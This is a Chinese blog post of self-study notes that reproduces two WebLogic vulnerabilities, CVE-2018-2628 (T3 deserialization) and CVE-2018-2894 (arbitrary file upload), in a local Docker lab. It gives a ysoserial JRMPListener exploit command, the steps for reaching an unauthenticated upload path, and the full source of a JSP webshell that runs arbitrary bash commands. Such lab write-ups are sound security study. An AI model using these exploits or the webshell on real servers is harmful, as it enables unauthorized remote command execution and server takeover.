网络安全自学篇-中间件漏洞(四)

一个网络安全学习爱好者在学习过程中记录下的笔记,希望在CSDN能和大家一起成长,学习,分享,进步,下面分享的是中间件漏洞系列,希望对入门网安的朋友们有所帮助,大神有兴趣看看即可,勿喷感谢,同时也欢迎各位师傅私聊交流学习。文章有所参考,也感谢教授我网安知识的师父们,感谢出生在这个互联网时代,知识触手可及。
中间件漏洞系列目录
网络安全自学篇-中间件漏洞(一)
网络安全自学篇-中间件漏洞(二)
网络安全自学篇-中间件漏洞(三)

weblogic之反序列化漏洞CVE-2018-2628

Vul:通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
PS:
1、T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。
2、RMI:远程方法调用(Remote Method Invocation)。java虚拟机可以调用另一个java虚拟机中对象的方法。
3、JRMP:java远程消息交换协议JRMP(Java Remote Messaging Protocol).
本次漏洞复现需要用到ysoserial,ysoserial是一个java反序列化工具。
ysoserial下载地址
漏洞检测:

nmap -n -p 7001,7002 192.168.42.128 --script=weblogic-t3-info

在这里插入图片描述
开启监听服务JRMPListener,利用ysoserial的JRMP对8888端口监听并在成功连接之后在靶机上生成/tmp/jadoreshell
命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "touch /tmp/jadoreshell"
在这里插入图片描述
使用EXP:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
进入靶机,执行命令:
docker exec -ti cve20182628_weblogic_1 /bin/bash
在这里插入图片描述
ls -al /tmp可以看到touch生成的文件夹
在这里插入图片描述

weblogic之任意文件上传漏洞CVE-2018-2894

Vul:利用该漏洞,可以上传任意jsp文件,进而获取服务器权限,但是ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证。
docker-compose logs | grep password查看管理员账户为weblogic密码为xAavl33D
在这里插入图片描述
访问http://192.168.42.128:7001/console/点击base_domain->Advanced->Enable Web Service Test Page启动Web服务测试页
在这里插入图片描述
访问http://192.168.42.128:7001/ws_utc/config.do设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css即将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
在这里插入图片描述
接着点击Security->Add上传webshell

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
	<title>Shell</title>
</head>
	<body>
		<form method="post" name="shell" action="">
		<input type="text" name="cmd">
		<input type="submit" value="execute">
		</form>
		<pre>
		<%
			if (request.getParameter("cmd") != null) {
			String cmd = request.getParameter("cmd");
			String[] command = { "/bin/bash", "-c", cmd};
			out.println("Command: " + cmd + "\n<br>");
			Process p = Runtime.getRuntime().exec(command);
			OutputStream os = p.getOutputStream();
			InputStream iu = p.getInputStream();
			DataInputStream dis = new DataInputStream(iu);
			String disr = dis.readLine();
			while ( disr != null ) {
					out.println(disr); disr = dis.readLine(); 
				}
			}
		%>
		</pre>
	</body>
</html>

在这里插入图片描述
查看时间戳
在这里插入图片描述
访问http://192.168.42.128:7001/ws_utc/css/config/keystore/1592655527769_shell.jsp
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_44047795/article/details/106868421